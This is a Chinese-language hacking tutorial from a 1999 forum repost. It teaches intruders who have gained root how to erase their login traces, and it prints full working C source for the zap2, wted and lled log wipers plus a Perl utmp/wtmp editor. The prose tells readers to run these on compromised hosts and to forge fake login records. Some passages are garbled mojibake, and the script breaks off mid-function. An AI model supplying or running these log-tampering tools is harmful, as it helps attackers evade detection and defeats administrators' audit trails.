发信人: amis() 
整理人: williamlong(1999-05-31 13:14:30), 站内信件
 | 
 
 
---------------------------------------------------------------------- ----------
 
 目录:
 Zap2 程序
 其它脚本程序 
 
 
 隐藏自己的关键是你要不断的学习了解新的系统知识。如果你做了很苯的事情, 比如有一次忘了清除你的utmp、wtmp日志或传送记录等等,你可能就会丧失再次 访问这个系统的机会。你自己应该制定一个计划去学习每个操作系统!
 尽可能的去熟悉系统,如果你同时学习几个系统,你应该做好笔记。记住你应该 养成一个习惯,你是否养成清除你登录、传送文档的记录的习惯?千万不要忘记 清除记录否则你可能会丧失对系统的访问权并面对一系列的指控。 
 
 
 ---------------------------------------------------------------------- ----------
 
 Zap2 (清除 wtmp/lastlog/utmp记录) 
 
 网络上有很多不同的日志清除程序,其中最好的是zap2。我编译后称为z2 
 在你获得root的访问权后立即运行z2这个程序。这个程序执行的非常快。
 你可以使用finger @host.xxx来查看当前有说锹剂耍邢腹鄄煲幌聄oot或admin 的idle time(空闲时间)来猜测他们是否离开主机了。
 Login, ?úμ???oóá¢?′ê?è?wà′2é?′idle timeoí???úóD?μ???á ??£ μ???ó?"w"2é?′?μí3oí??ê?è?ê1×??o3é?arootμ??üá?ê?2? ?üí?ê±??DDμ??£ò?μ???μ?μ?á?rootμ?·??ê訣?á¢?′ê?è?  ./z2 ??μ????μí3?ùó?μ?ó??§???£ 
 现在你比刚才就安全多了。现在再用"w"或"who"命令来查看一下,你已静换岜籾 tmp记录了。如果你要使用 ftp或其它的一些命令你可能就会用到我在本章中提供 的另外两个程序 wted 和 lled。 
 我们先来完成z2这个程序。你必须了解每个文件在你入侵的系统中的位置以便修 改z2.c,使其包含这些文件的正确路径。
 下面是在文件头部的需要你修改的部分。
 #define WTMP_NAME "/usr/adm/wtmp" 
 #define UTMP_NAME "/etc/utmp" 
 #define LASTLOG_NAME "/usr/adm/lastlog" 
 在有些系统中应该是:
 #define WTMP_NAME "/var/adm/wtmp" 
 #define UTMP_NAME "/var/adm/utmp" 
 #define LASTLOG_NAME "/var/adm/lastlog" 
 
 但你应该自己查看一下这些文件存放在你要入侵的系统的什么位置。/var/log目 录也是很可能的一个路径。修改好正确的文件路径后,编译这个文件,现在你登 录之后运行z2,你就已比较安全了。
 这里是c程序:
 z2.c 
 --------------------------- cut here 
 #include <sys/types.h> 
 #include <stdio.h> 
 #include <unistd.h> 
 #include <sys/file.h> 
 #include <fcntl.h> 
 #include <utmp.h> 
 #include <pwd.h> 
 #include <lastlog.h> 
 #define WTMP_NAME "/usr/adm/wtmp" 
 #define UTMP_NAME "/etc/utmp" 
 #define LASTLOG_NAME "/usr/adm/lastlog" 
 
 int f; 
 
 void kill_utmp(who) 
 char *who; 
 { 
 struct utmp utmp_ent; 
 
 if ((f=open(UTMP_NAME,O_RDWR))>=0) { 
 while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 ) 
 if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { 
 bzero((char *)&utmp_ent,sizeof( utmp_ent )); 
 lseek (f, -(sizeof (utmp_ent)), SEEK_CUR); 
 write (f, &utmp_ent, sizeof (utmp_ent)); 
 } 
 close(f); 
 } 
 } 
 
 void kill_wtmp(who) 
 char *who; 
 { 
 struct utmp utmp_ent; 
 long pos; 
 
 pos = 1L; 
 if ((f=open(WTMP_NAME,O_RDWR))>=0) { 
 
 while(pos != -1L) { 
 lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND); 
 if (read (f, &utmp_ent, sizeof (struct utmp))<0) { 
 pos = -1L; 
 } else { 
 if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { 
 bzero((char *)&utmp_ent,sizeof(struct utmp )); 
 lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND); 
 write (f, &utmp_ent, sizeof (utmp_ent)); 
 pos = -1L; 
 } else pos += 1L; 
 } 
 } 
 close(f); 
 } 
 } 
 
 void kill_lastlog(who) 
 char *who; 
 { 
 struct passwd *pwd; 
 struct lastlog newll; 
 
 if ((pwd=getpwnam(who))!=NULL) { 
 
 if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) { 
 lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0); 
 bzero((char *)&newll,sizeof( newll )); 
 write(f, (char *)&newll, sizeof( newll )); 
 close(f); 
 } 
 
 } else printf("%s: ?\n",who); 
 } 
 
 main(argc,argv) 
 int argc; 
 char *argv[]; 
 { 
 if (argc==2) { 
 kill_lastlog(argv[1]); 
 kill_wtmp(argv[1]); 
 kill_utmp(argv[1]); 
 printf("Zap2!\n"); 
 } else 
 printf("Error.\n"); 
 } 
 --------------------------- cut here 
 
 
 ---------------------------------------------------------------------- ----------
 
 其它脚本程序 
 
 我们开始本章的另一部分。我们假设你登录并执行了z2,你需要进行ftp来抓一个 文件(记住,象第一章所说的,不要ftp或telent出这个入侵的主机)。好了,你f tp进入系统抓取几个文件,或登录到系统的其它帐户中,那现在你就要用到wted 程序了。 wted程序允许你编紈tmp日志来清除你ftp留下的记录。你也可能要用到 lled (编糽astlog日志). 
 你在修改日志的路径并编译wted程序后,输入 ./wted将会出现下面的菜单。
 [8:25pm][/home/compile]wted 
 Usage: wted -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST 
 -h This help 帮助
 -f Use FILE instead of default 所使用的非默认文件
 -a Show all entries found 显示所有的记录
 -u Show all entries for USER 显示USER的所有记录
 -b Show NULL entries 显示空记录
 -e Erase USER completely 完全清除某用户的记录
 -c Erase all connections containing HOST 清除从某主机来的所有记录
 -z Show ZAP'd entries ??ê?ó?ZAP′|àí1yμ?????
 -x Attempt to remove ZAP'd entries completely é?3yó?ZAP′|àí1yμ?? ???
 如果你ftp使用的用户名为 tsmith,你应这样使用 wted -x -e tsmith 
 这个程序将显示用户tsmith登录的一个时间并询问你是否要删除它。在你删除你 登录的记录后,记着chmod 644 wtmp.tmp文件然后将其拷贝到日志文件的目录并 覆盖岳吹奈募O笳庋? 
 1. chmod 644 wtmp.tmp 
 2. cp wtmp.tmp /var/adm/wtmp 
 下面是wted程序:
 重要:记着将char里面文件改成正确的路径。 
 wted.c 
 ---------------------- cut here 
 #include <stdio.h> 
 #include <utmp.h> 
 #include <time.h> 
 #include <fcntl.h> 
 char *file="/var/adm/wtmp"; 
 main(argc,argv) 
 int argc; 
 char *argv[]; 
 { 
 int i; 
 if (argc==1) usage(); 
 for(i=1;i<argc;i++) 
 { 
 if(argv[i][0] == '-') 
 { 
 switch(argv[i][1]) 
 { 
 case 'b': printents(""); break; 
 case 'z': printents("Z4p"); break; 
 case 'e': erase(argv[i+1],0); break; 
 case 'c': erase(0,argv[i+1]); break; 
 case 'f': file=argv[i+1]; break; 
 case 'u': printents(argv[i+1]); break; 
 case 'a': printents("*"); break; 
 case 'x': remnull(argv[i+1]); break; 
 default:usage(); 
 } 
 } 
 } 
 } 
 printents(name) 
 char *name; 
 { 
 struct utmp utmp,*ptr; 
 int fp=-1; 
 ptr=&utmp; 
 if (fp=open(file,O_RDONLY)) 
 { 
 while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp)) 
 { 
 if ( !(strcmp(name,ptr->ut_name)) || (name=="*") || 
 (!(strcmp("Z4p",name)) && (ptr->ut_time==0))) 
 printinfo(ptr); 
 } 
 close(fp); 
 } 
 } 
 printinfo(ptr) 
 struct utmp *ptr; 
 { 
 char tmpstr[256]; 
 printf("%s\t",ptr->ut_name); 
 printf("%s\t",ptr->ut_line); 
 strcpy(tmpstr,ctime(&(ptr->ut_time))); 
 tmpstr[strlen(tmpstr)-1]='\0'; 
 printf("%s\t",tmpstr); 
 printf("%s\n",ptr->ut_host); 
 } 
 erase(name,host) 
 char *name,*host; 
 { 
 int fp=-1,fd=-1,tot=0,cnt=0,n=0; 
 struct utmp utmp; 
 unsigned char c; 
 if (fp=open(file,O_RDONLY)) { 
 fd=open("wtmp.tmp",O_WRONLY|O_CREAT); 
 while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp)) { 
 if (host) 
 if (strstr(utmp.ut_host,host)) tot++; 
 else {cnt++;write(fd,&utmp,sizeof(struct utmp));} 
 if (name) { 
 if (strcmp(utmp.ut_name,name)) {cnt++; 
 write(fd,&utmp,sizeof(struct utmp));} 
 else { 
 if (n>0) { 
 n--;cnt++; 
 write(fd,&utmp,sizeof(struct utmp));} 
 else 
 { 
 printinfo(&utmp); 
 printf("Erase entry (y/n/f(astforward))? "); 
 c='a'; 
 while (c!='y'&&c!='n'&&c!='f') c=getc(stdin); 
 if (c=='f') { 
 cnt++; 
 write(fd,&utmp,sizeof(struct utmp)); 
 printf("Fast forward how many entries? "); 
 scanf("%d",&n);} 
 if (c=='n') { 
 cnt++; 
 write(fd,&utmp,sizeof(struct utmp)); 
 } 
 if (c=='y') tot++; 
 } 
 } } 
 } 
 close(fp); 
 close(fd); 
 } 
 printf("Entries stored: %d Entries removed: %d\n",cnt,tot); 
 printf("Now chmod wtmp.tmp and copy over the original %s\n",file); 
 } 
 remnull(name) 
 char *name; 
 { 
 int fp=-1,fd=-1,tot=0,cnt=0,n=0; 
 struct utmp utmp; 
 if (fp=open(file,O_RDONLY)) { 
 fd=open("wtmp.tmp",O_WRONLY|O_CREAT); 
 while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp)) { 
 if (utmp.ut_time) { 
 cnt++; 
 write(fd,&utmp,sizeof(struct utmp)); 
 } 
 else 
 tot++; 
 } 
 close(fp); 
 close(fd); 
 } 
 printf("Entries stored: %d Entries removed: %d\n",cnt,tot); 
 printf("Now chmod wtmp.tmp and copy over the original %s\n",file); 
 } 
 usage() 
 { 
 printf("Usage: wted -h -f FILE -a -z -b -x -u USER -n USER -e USER -c  HOST\n"); 
 printf("\t-h\tThis help\n"); 
 printf("\t-f\tUse FILE instead of default\n"); 
 printf("\t-a\tShow all entries found\n"); 
 printf("\t-u\tShow all entries for USER\n"); 
 printf("\t-b\tShow NULL entries\n"); 
 printf("\t-e\tErase USER completely\n"); 
 printf("\t-c\tErase all connections containing HOST\n"); 
 printf("\t-z\tShow ZAP'd entries\n"); 
 printf("\t-x\tAttempt to remove ZAP'd entries completely\n"); 
 } 
 ---------------------- cut here 
 你可能还需要清除/vat/adm/lastlog日志。 
 这要用到lled.c程序。编译这个文件并命名为lled. 
 你运行lled程序将会出现下面的菜单: 
 [4:04am][/home/paris/compile]lled 
 Usage: lled -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST 
 -h This help °??ú
 -f Use FILE instead of default ê1ó????¨μ????t′úì?è±ê?μ?
 -a Show all entries found ??ê?è?2?????
 -u Show all entries for USER ??ê????¨ó??§μ?è?2?????
 -b Show NULL entries ??ê???????
 -e Erase USER completely è?2?é?3y???¨ó??§μ?????
 -c Erase all connections containing HOST é?3y°üo????¨?÷?úμ?è?2 ?????
 -z Show ZAP'd entries ??ê?ó?ZAP′|àí1yμ?????
 -x Attempt to remove ZAP'd entries completely é?3yó?ZAP′|àí1yμ?? ???
 你可以先用-u来看一下,很多时候你的用户名并没有记录下来,但会记录下你的 主机,一般你可以这样使用:(假设我进入系统时使用的主机名为machine.edit. com)
 lled -e username -c machine.edit 
 如果你要查看你的主机是否记录在lastlog日志的结尾,你应输入:lled -a 
 使用chmod将 lastlog.tmp文件属性改为 644并象你使用上面的wted程序一样将其 拷贝到日志文件的目录中并覆盖岳吹奈募?
 重要:将lastlog路径设置为你入侵的主机中的正确路径。
 下面是lled.c: 
 -------------------------- cut here 
 #include <stdio.h> 
 #include <time.h> 
 #include <lastlog.h> 
 #include <fcntl.h> 
 char *file="/var/adm/lastlog"; 
 main(argc,argv) 
 int argc; 
 char *argv[]; 
 { 
 int i; 
 if (argc==1) usage(); 
 for(i=1;i<argc;i++) 
 { 
 if(argv[i][0] == '-') 
 { 
 switch(argv[i][1]) 
 { 
 case 'b': printents(""); break; 
 case 'z': printents("Z4p"); break; 
 case 'e': erase(argv[i+1]); break; 
 case 'c': erase(0,argv[i+1]); break; 
 case 'f': file=argv[i+1]; break; 
 case 'u': printents(argv[i+1]); break; 
 case 'a': printents("*"); break; 
 case 'x': remnull(argv[i+1]); break; 
 default:usage(); 
 } 
 } 
 } 
 } 
 printents(name) 
 char *name; 
 { 
 struct lastlog utmp,*ptr; 
 int fp=-1; 
 ptr=&utmp; 
 if (fp=open(file,O_RDONLY)) 
 { 
 while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog))  
 { 
 if ( !(strcmp(name,ptr->ll_line)) || (name=="*") || 
 (!(strcmp("Z4p",name)) && (ptr->ll_time==0))) 
 printinfo(ptr); 
 } 
 close(fp); 
 } 
 } 
 printinfo(ptr) 
 struct lastlog *ptr; 
 { 
 char tmpstr[256]; 
 printf("%s\t",ptr->ll_line); 
 strcpy(tmpstr,ctime(&(ptr->ll_time))); 
 tmpstr[strlen(tmpstr)-1]='\0'; 
 printf("%s\t",tmpstr); 
 printf("%s\n",ptr->ll_host); 
 } 
 erase(name,host) 
 char *name,*host; 
 { 
 int fp=-1,fd=-1,tot=0,cnt=0,n=0; 
 struct lastlog utmp; 
 unsigned char c; 
 if (fp=open(file,O_RDONLY)) { 
 fd=open("lastlog.tmp",O_WRONLY|O_CREAT); 
 while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog))  { 
 if (host) 
 if (strstr(utmp.ll_host,host)) tot++; 
 else {cnt++;write(fd,&utmp,sizeof(struct lastlog));} 
 if (name) { 
 if (strcmp(utmp.ll_line,name)) {cnt++; 
 write(fd,&utmp,sizeof(struct lastlog));} 
 else { 
 if (n>0) { 
 n--;cnt++; 
 write(fd,&utmp,sizeof(struct lastlog));} 
 else 
 { 
 printinfo(&utmp); 
 printf("Erase entry (y/n/f(astforward))? "); 
 c='a'; 
 while (c!='y'&&c!='n'&&c!='f') c=getc(stdin); 
 if (c=='f') { 
 cnt++; 
 write(fd,&utmp,sizeof(struct lastlog)); 
 printf("Fast forward how many entries? "); 
 scanf("%d",&n);} 
 if (c=='n') { 
 cnt++; 
 write(fd,&utmp,sizeof(struct lastlog)); 
 } 
 if (c=='y') tot++; 
 } 
 } } 
 } 
 close(fp); 
 close(fd); 
 } 
 printf("Entries stored: %d Entries removed: %d\n",cnt,tot); 
 printf("Now chmod lastlog.tmp and copy over the original %s\n",file);  
 } 
 remnull(name) 
 char *name; 
 { 
 int fp=-1,fd=-1,tot=0,cnt=0,n=0; 
 struct lastlog utmp; 
 if (fp=open(file,O_RDONLY)) { 
 fd=open("lastlog.tmp",O_WRONLY|O_CREAT); 
 while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog))  { 
 if (utmp.ll_time) { 
 cnt++; 
 write(fd,&utmp,sizeof(struct lastlog)); 
 } 
 else 
 tot++; 
 } 
 close(fp); 
 close(fd); 
 } 
 printf("Entries stored: %d Entries removed: %d\n",cnt,tot); 
 printf("Now chmod lastlog.tmp and copy over the original %s\n",file);  
 } 
 usage() 
 { 
 printf("Usage: lled -h -f FILE -a -z -b -x -u USER -n USER -e USER -c  HOST\n"); 
 printf("\t-h\tThis help\n"); 
 printf("\t-f\tUse FILE instead of default\n"); 
 printf("\t-a\tShow all entries found\n"); 
 printf("\t-u\tShow all entries for USER\n"); 
 printf("\t-b\tShow NULL entries\n"); 
 printf("\t-e\tErase USER completely\n"); 
 printf("\t-c\tErase all connections containing HOST\n"); 
 printf("\t-z\tShow ZAP'd entries\n"); 
 printf("\t-x\tAttempt to remove ZAP'd entries completely\n"); 
 } 
 ---------------------------------------------------------------- cut h ere 
 下面是个编辑tmp, wtmp和检查进程的很好的perl脚本程序。这个程序还允许你在 wtmp日志中加入一行。如果你想搞,你可以加入clinton(克林顿).whitehouse(白 宫).gov logging into port ttyp3 并显示他在系统中停留了几个小时!
 使用检查功能,你可以知道是否有什么人登录到系统中而在utmp日志中又没有记 录。系统管理员有时登录后喜欢把自己隐藏起来,这个程序可以看到他们是否在 线。你必须有root的权限来执行这个程序,这个程序还需要5.003以上的版本才能 运行。启动这个脚本程序后输入help。
 下面是一些基本命令:
 starts by loading wtmp 
 delete user username 
 delete host hostanme 
 write 
 read wtmp 
 delete user username 
 delete host hostname 
 write 
 使用help来查看其它的命令......这是最好的wtmp,wtmp编计鳎?
 说声谢谢吧 ;) 
 -----------------------start of utmpman.pl 
 #!/usr/bin/perl -w 
 # 
 # Variable defines. 
 my($utmp_location) = "/var/run/utmp"; 
 my($wtmp_location) = "/var/log/wtmp"; 
 my($shells_location) = "/etc/shells"; 
 my($ttybase) = "tty"; 
 my($ttyrange) = "pqrs"; # TTYrange standard on most linux systems. 
 my($ttyports) = "012345657689abcfef"; # TTYports standard on most linu x systems. 
 # Global initializations. 
 my($active_file) = ""; 
 my(%entries) = {}; 
 my(@cmdline) = (); 
 my(@shells) = (); 
 # Display banner. 
 print "\nutmp Manager v0.8\n\n"; 
 # Access check. 
 die("utmpman :: You must be root to run this application!\n") unless ( $> == 0); 
 # Read in valid shells. 
 if (defined($shells_location)) { 
 open(SHELLFILE, "<$shells_location"); 
 @shells = <SHELLFILE>; 
 close(SHELLFILE); 
 } 
 # Process "basename" of each shell. 
 @shells = map( { /([^\/\n]+)\n*$/; $1; } @shells); 
 
 print push(@shells) . " valid shells in $shells_location: @shells\n" i f (defined(@shells)); 
 readfile("$utmp_location"); 
 print("\nutmpman: $active_file> "); 
 while (<STDIN>) { 
 process_cmd(split); 
 print("\nutmpman: $active_file> "); 
 } 
 sub process_cmd { 
 return if (!defined(@_)); 
 my(@line) = map { lc($_) } @_; 
 
 $_ = shift(@line); 
 SWITCH: { 
 /^check$/ && do { 
 check_func(@line); 
 last SWITCH; 
 }; 
 /^delete$/ && do { 
 del_func(@line); 
 last SWITCH; 
 }; 
 
 /^help$/ && do { 
 help_func(); 
 last SWITCH; 
 }; 
 
 /^insert$/ && do { 
 ins_func(@line); 
 last SWITCH; 
 }; 
 
 /^list$/ && do { 
 list_func(@line); 
 last SWITCH; 
 }; 
 /^read$/ && do { 
 read_func(@line); 
 last SWITCH; 
 }; 
 
 /^write$/ && do { 
 write_func(@line); 
 last SWITCH; 
 }; 
 
 /^quit|exit$/ && exit(0); 
 
 # DEFAULT. 
 print ("Invalid command.\n"); 
 } 
 } 
 
 # HELP 
 sub help_func { 
 print << "EOM"; 
 utmpManager Help 
 ---------------- 
 Note: - <n> is an argument. 
 - [id=] is a token which expects a value as part of command 
 (ie, insert id=p5 user=root 11/23/96). See the insert command. 
 - A line is the full name to the tty port, ie ttyp0. 
 - An id is the *unique* representation of the port 
 (without the tty, etc), ie "p0" (for ttyp0). 
 check 
 - Perform user consistancy check. Use this to make sure that the data  in 
 utmp agrees with who is actually on the machine. This is useful in 
 determining if a user is online with hidden ports, running nohup'd 
 processes, or running iScreen. 
 delete <x>-<y> 
 - Delete entries #x to #y. 
 delete host <host> 
 - Delete *all* entries which match the substring <host>. 
 delete line|id <line|id> 
 - Delete entry containing <line> or <id>. 
 insert {id=|line=} [type=] [user=] [host=] [ConnTime] {LogoffTime} 
 - Insert an entry into utmp/wtmp files specifying any combination 
 of id/line, type, username, host, connection time, and logoff time. 
 (LogoffTime only valid for WTMP files.) 
 list host <host> 
 - List all entries matching the substring <host>. 
 list line|id <line|id> 
 - List all entries matching <line> or <id>. 
 read utmp|wtmp|<filename> 
 - Read entries from either default wtmp, default utmp, or an arbitrary  
 filename. Note: arbitrary filenames MUST start with either "utmp" or 
  "wtmp" to be used with this editor. Rename files *outside* of this 
 editor if necessary. If read is executed without any arguments, it 
 rereads the last given filename, which is displayed on the prompt. 
 write {filename} 
 - Write entries to file {filename}. If write is executed without any 
  arguments, then entries will be written to the last given filename, 
 which is displayed on the prompt. 
 EOM 
 } 
 # DELETE 
 sub del_func { 
 my(@params) = @_; 
 if (!push(@_)) { 
 print("delete :: Not enough parameters. See \"help\" for syntax.\n");  
 return undef; 
 } elsif ($params[0] =~ /host|user|id|line/) { 
 del_by_data(@_); 
 } elsif ($params[0] =~ m/\d*-\d+|\d+-\d*/) { 
 del_by_range($params[0]); 
 } elsif ($params[0] =~ m/^(\d+)$/) { 
 del_by_range("$1-$1"); 
 } 
 
 # Renumber list after delete operation. 
 resync(); 
 } 
 
 sub del_by_range { 
 my($range)=shift; 
 $range =~ m/(\d+)*-(\d+)*/; 
 my($lo, $hi, $count)=($1, $2, 0); 
 
 $lo = 0 if (!defined($lo)); 
 $hi = scalar(keys(%entries)) if (!defined($hi)); 
 
 foreach (sort( { $a <=> $b } keys(%entries))) { 
 if (($_ >= $lo) && ($_ <= $hi)) { 
 delete($entries{$_}); 
 $count++; 
 } 
 } 
 print "$count entries deleted.\n"; 
 } 
 
 sub del_by_data { 
 my($op, $data) = @_; 
 my($count) = 0; 
 if ((length($data) < 5) && ($op eq "host")) { 
 print "Must specify at least 5 characters for delete hostmask.\n"; 
 return undef; 
 } elsif (((length($data) > 4) && ($op eq "id"))|| 
 ((length($data) > 11) && ($op eq "line"))) { print "Invalid $op specif ied.\n"; 
 return undef; 
 } 
 # Note: If we are deleting by user, then user must match, *exactly*! 
  $data = "^" . pack("a8", $data) . "\$" if ($op eq "user"); 
 foreach (sort( { $a <=> $b } keys(%entries))) { 
 if (%{$entries{$_}}->{$op} =~ m/$data/i) { 
 delete($entries{$_}); 
 ++$count; 
 } 
 } 
 if (!$count) { 
 print "No $op entries matching $data.\n"; 
 } else { 
 print "$count entries deleted.\n"; 
 } 
 } 
 
 # INSERT 
 # Date1 Time1 = DateTime1 => mm/dd/[cc]yy[:hh:mm[:ss]] 
 # Date2 Time2 = DateTime2 => (see above) 
 # user=<username> 
 # host=<hostname> 
 # id=<id> | line=<line> 
 # 
 # utmp: 
 # insert {id=|line=} [type=] [user=] [host=] [DateTime] 
 # wtmp: 
 # insert {id=|line=} [user=] [host=] [DateTime1] {DateTime2} 
 sub ins_func { 
 my(%cmdopt)={}; 
 my($datetime1, $datetime2, $gmdate, $gmdate2); 
 # Get random pid out of the way. 
 $cmdopt{"pid"} = int(rand(32656)+100); 
 $cmdopt{"addr"} = pack("a4", ""); 
 # Get command options. 
 foreach (@_) { 
 if (/=/) { 
 local($key, $value)=split(/=/); 
 $cmdopt{$key} = $value; 
 } else { 
 if (!defined($datetime1)) { 
 $datetime1 = $_; 
 next; 
 } 
 if (!defined($datetime2)) { 
 $datetime2 = $_ ; 
 next; 
 } 
 print "insert :: Invalid options specified. Please see \"help\" for sy ntax.\n"; 
 return undef; 
 } 
 } 
 # Check for an illegal pair or illegal option. 
 foreach (keys(%cmdopt)) { 
 if (!(/^host|id|line|type|user|addr$/)) { 
 print "insert :: Invalid options specified. Please see \"help\" for sy ntax.\n"; 
 return undef; 
 } 
 if (($_ eq "last") && ($active_file !~ m!/*utmp[^/]*$!i)) { 
 print "insert :: LAST option only valid for utmp files.\n"; 
 return undef; 
 } 
 } 
 # Get date in seconds since 1970. 
 $gmdate = SecsSince1970($datetime1); 
 # Get ending date in seconds since 1970. 
 $gmdate2 = SecsSince1970($datetime2) if (defined($datetime2)); 
 if (!defined($gmdate) || (!defined($gmdate2) && defined($datetime2)))  { 
 print "insert :: Invalid date specified.\n"; 
 return undef; 
 } 
 if (defined($gmdate2)) { 
 if ($gmdate2 < $gmdate) { 
 print "insert :: First date/time must be *later* than second date/time .\n"; 
 return undef; 
 } 
 } 
 if (defined($cmdopt{"id"}) && defined($cmdopt{"line"})) { 
 print "insert :: Insert by LINE or ID only. Please do not specify both .\n"; 
 return undef; 
 } 
 my($op); 
 if (!defined($cmdopt{"id"})) { 
 $cmdopt{"id"} = $cmdopt{"line"}; 
 $op = "line"; 
 if (!($cmdopt{"id"} =~ s/^$ttybase//)) { 
 print "insert :: Invalid line specified.\n"; 
 return undef; 
 } 
 } else { 
 $cmdopt{"line"} = $ttybase . $cmdopt{"id"}; 
 $op = "id"; 
 } 
 if (!(defined($cmdopt{"line"}) || defined($cmdopt{"id"}))) { 
 print "insert :: Neither LINE nor ID value found. See \"help\" for syn tax.\n"; 
 return undef; 
 } 
 
 my($searchdata) = ($active_file =~ m!/*utmp[^/]*$!i) ? 
 (pack(($op eq "line") ? "a12" : "a4", $cmdopt{$op})):$cmdopt{$op}; 
 my($epos1, $npos1, $epos2, $npos2) = (); 
 my($oldpos, $count)=("", 0); 
 foreach (sort( { $a <=> $b } keys(%entries))) { 
 if ($active_file =~ m!/*utmp[^/]*$!i) { 
 # Handle utmp insertion by line insertion. 
 if (%{$entries{$_}}->{$op} eq $searchdata) { 
 printf ("insert :: $op $searchdata already exists at position $_\n");  
 # This needs to check every option in %cmdopt for defined or null. 
 $count = 0; 
 foreach (qw(user host time)) { 
 if (defined($cmdopt{$_})) { 
 $count++ if ($cmdopt{$_} ne ""); 
 } 
 } 
 if (!$count) { 
 printf ("insert :: No other data specified. Entry unchanged.\n"); 
 return undef; 
 } 
 last; 
 } 
 } else { 
 # Handle wtmp insertion by time position. (Messy) 
 $epos1 = $oldpos if (defined($npos1) && !defined($epos1)); 
 $npos1 = $_ if (%{$entries{$_}}->{"time"} > $gmdate); 
 last if (!defined($gmdate2) && defined($epos1)); 
 $epos2 = $oldpos if (defined($npos2)); 
 $npos2 = $_ if (%{$entries{$_}}->{"time"} > $gmtime2); 
 last if (defined($epos2)); 
 } 
 $oldpos = $_; 
 } 
 # Set any unspecified defaults. 
 $cmdopt{"user"} = pack("a8", "") if !defined($cmdopt{"user"}); 
 $cmdopt{"host"} = pack("a16", "") if !defined($cmdopt{"host"}); 
 $cmdopt{"type"} = 7 if !defined($cmdopt{"type"}); 
 # Determine end of list insertion positions. (IE, dates entered are af ter 
 # dates in wtmp file or line/id not found in utmp file. 
 $epos1 = (scalar(keys(%entries)) + 1) if (!defined($npos1)); 
 if (defined($datetime2)) { 
 $epos2 = (scalar(keys(%entries)) + 1) if (!defined($npos2)); 
 ++$epos2 if (defined($gmtime2) && !defined($npos1)); 
 } 
 # Parse insert data and insert entry. 
 $epos1 = sprintf("%7.3f", ($npos1 - $epos1)/2) if (defined($npos1)); 
  $epos2 = sprintf("%7.3f", ($npos2 - $epos2)/2) 
 if (defined($npos2) && defined($gmdate2)); 
 # Insert first entry. 
 $cmdopt{"time"} = $gmdate; 
 @{$entries{$epos1}}{qw(type pid line id time user host addr)} = 
 @{%cmdopt}{qw(type pid line id time user host addr)}; 
 if (defined($epos2)) { 
 $cmdopt{"user"} = pack("a8", ""); 
 $cmdopt{"host"} = pack("a16",""); 
 $cmdopt{"id"} = pack("a4", ""); 
 $cmdopt{"time"} = $gmdate2; 
 
 @{$entries{$epos2}}{qw(type pid line id time user host addr)} = 
 @{%cmdopt}{qw(type pid line id time user host addr)}; 
 } 
 resync(); 
 } 
 
 # LIST 
 sub list_func { 
 my(@params) = @_; 
 if (!push(@_) || ($params[0] eq "all")) { 
 list_by_range("-"); 
 return 0; 
 } elsif ($params[0] =~ /^host|user|id|line$/) { 
 list_by_data(@_); 
 return 0; 
 } elsif ($params[0] =~ m/\d*-\d+|\d+-\d*/) { 
 list_by_range($params[0]); 
 return 0; 
 } elsif ($params[0] =~ m/^(\d+)$/) { 
 list_by_range("$1-$1"); 
 return 0; 
 } 
 
 print ("list :: Error in parameters. See \"help\" for syntax.\n"); 
 return undef; 
 } 
 
 sub list_by_data { 
 my($op, $data) = @_; 
 my($count) = 0; 
 foreach (sort( {$a <=> $b} keys(%entries))) { 
 if (%{$entries{$_}}->{$op} =~ m/$data/i) { 
 list_entry($_); 
 ++$count; 
 } 
 } 
 print "No $op entries matching $data.\n" if (!$count); 
 } 
 
 sub list_by_range { 
 my($range)=shift; 
 $range =~ m/(\d+)*-(\d+)*/; 
 my($lo, $hi)=($1, $2); 
 
 $lo = 0 if (!defined($lo)); 
 $hi = scalar(keys(%entries)) if (!defined($hi)); 
 
 foreach (sort( { $a <=> $b } keys(%entries))) { 
 if (($_ >= $lo) && ($_ <= $hi)) { 
 list_entry($_); 
 } 
 } 
 } 
 
 sub list_entry { 
 printf("#%3d - " . gmtime(%{$entries{$_}}->{"time"}), $_); 
 printf(" %s/%s", @{$entries{$_}}{qw(id line)}); 
 printf(": %s ", %{$entries{$_}}->{"user"}) 
 if (%{$entries{$_}}->{"user"} ne pack("a8", "")); 
 printf("from %s", %{$entries{$_}}->{"host"}) 
 if (%{$entries{$_}}->{"host"} ne pack("a16", "")); 
 if (%{$entries{$_}}->{"addr"} ne "\0\0\0\0") { 
 printf(" (%s)", longtodot4(%{$entries{$_}}->{"addr"})); 
 } 
 print ("\n"); 
 printf("%7sPID = %u\n", "", %{$entries{$_}}->{"pid"}) 
 if (%{$entries{$_}}->{"pid"} && (%{$entries{$_}}->{"user"} ne pack("a8 ",""))); 
 } 
 # <Silmaril> printf "#$_ - %s %s/%s: %s from %s\n", @{$v}->{qw(time id  line user host)}; 
 # <Silmaril> now *that's* cool :-) 
 # <Silmaril> should be like this: @{$v}{qw(time id line user host)} 
 # <Silmaril> I had an extra -> in my first version. 
 # 
 # Or course, it's changed since then, but - "Thanks, Sil!" :) 
 # 
 
 # READ 
 
 sub read_func { 
 my($arg)=shift; 
 
 $arg = $utmp_location if ($arg eq "utmp"); 
 $arg = $wtmp_location if ($arg eq "wtmp"); 
 $arg = $active_file if (!defined($arg)); 
 
 if ($arg !~ m!/*[uw]tmp[^/]*$!) { 
 print("read :: Filenames *must* start with either 'wtmp' or 'utmp' to  be edited.\n"); 
 return undef; 
 } 
 
 readfile($arg); 
 } 
 
 # WRITE 
 sub write_func { 
 my($file)=shift; 
 my($count)=0; 
 
 $file = $active_file if (!defined($file)); 
 if ($file !~ m!/*[uw]tmp[^/]*$!) { 
 print ("write :: File must start with 'utmp' or 'wtmp'.\nRename file o utside this program.\n"); 
 return undef; 
 } 
 if (!open(OUTFILE, ">$file")) { 
